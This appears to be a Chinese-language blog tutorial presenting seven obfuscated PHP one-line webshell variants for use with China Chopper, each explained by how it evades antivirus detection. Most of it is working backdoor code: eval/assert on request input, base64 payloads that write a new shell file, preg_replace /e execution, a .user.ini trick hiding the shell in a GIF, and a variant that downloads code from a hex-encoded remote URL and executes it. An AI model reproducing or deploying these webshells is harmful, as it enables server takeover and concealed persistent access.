上一篇文章我们讲到了一句话木马和中国菜刀,以及如何利用中国菜刀通过上传到目标主机的一句话木马来获取目标主机的管理权限,也知道了一句话木马作为Webshell的一种,代码十分少,便于操作,但是功能却十分强大,尤其是配合中国菜刀的使用时,因此一句话木马也受到了各大安全软件的特别关注,使得其很容易被各种软件检测出来,为了增强其隐蔽性,出现了各种一句话木马的变形,今天我们就来讲一讲几种一句话木马的变形。
一句话木马的一般形式:
<?php eval($_POST[‘cmd’]);?>或者<?php eval($_GET[‘cmd’]);?>
变形一:
<?php $x=$_GET[‘z’];@eval(“$x;”);?>
改进的地方:
一般的安全软件可能会将eval+GET或POST判定为 后门程序 ,因此这种变形将eval和GET或者
POST分开,能够绕过这种情况。
不足之处:
只是改变了一下eval和get的位置,换汤不换药。
变形二:
$a =str_replace(x,””,”axsxxsxexrxxt”);$a($_POST[“code”]);
发送请求的参数:
?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))
还原出来的命令就是:
assert(fputs(fopen(‘c.php’,w),”<?php @eval($_POST[a]);?>”))
改进的地方:
用 字符串 隐藏assert方法,并且利用它加上动态传入参数的方式构造后门。
变形三:
$_GET[‘a’]($_GET[‘b’]);
发送请求的参数:
?a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))
改进的地方:
完全利用动态参数传入的方式构造后门,将敏感函数和执行的命令动态传入,效果如变形二。
变形四:
($code = $_POST[‘code’]) && @preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’);
改进的地方:
首先,将eval函数用str_rot13(‘riny’)隐藏。
然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码
使用eval方式进行评估并将返回值作为最终参与替换的字符串。
变形五:
$filename=$_GET[‘code’]; include ($filename);
改进的地方:
由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php
文件,将真正的后门写在文本当中。
变形六:
上传.user. ini ,并且写入auto_prepend_file=code.gif
将一句话隐藏在code.gif中,并且将它上传到同一目录下。
改进的地方:
将一句话木马隐藏在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使
得所有正常php文件都毫不知情的中招。
变形七:
if(empty($_SESSION[‘ api ’]))$_SESSION[‘api’]=substr(file_get_contents(sprintf(‘%s? %s’,pack(“H*”,’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[‘api’]),null);
改进的地方:
第一,通过pack函数处理URL为
第二,利用file_get_contents获得make.jpg。
第三,利用substr截取3649字节以后的内容。
第四,利用gzuncompress方法将3649字节以后的内容解压出来。
第五,用preg_replace方法的e操作符将代码执行。
还有很多后续操作……
以上为了试验操作的方便,采用的是Get方式获取PHP的执行代码,但实际上,由于URL长度的限制,一般采用Post的方式。由于PHP版本的不断更新,因此一些旧的方法可能已经不太好用,但是随着版本的更新,相信也会有更多越来越新奇的mm慢慢浮出水面,让我们拭目以待。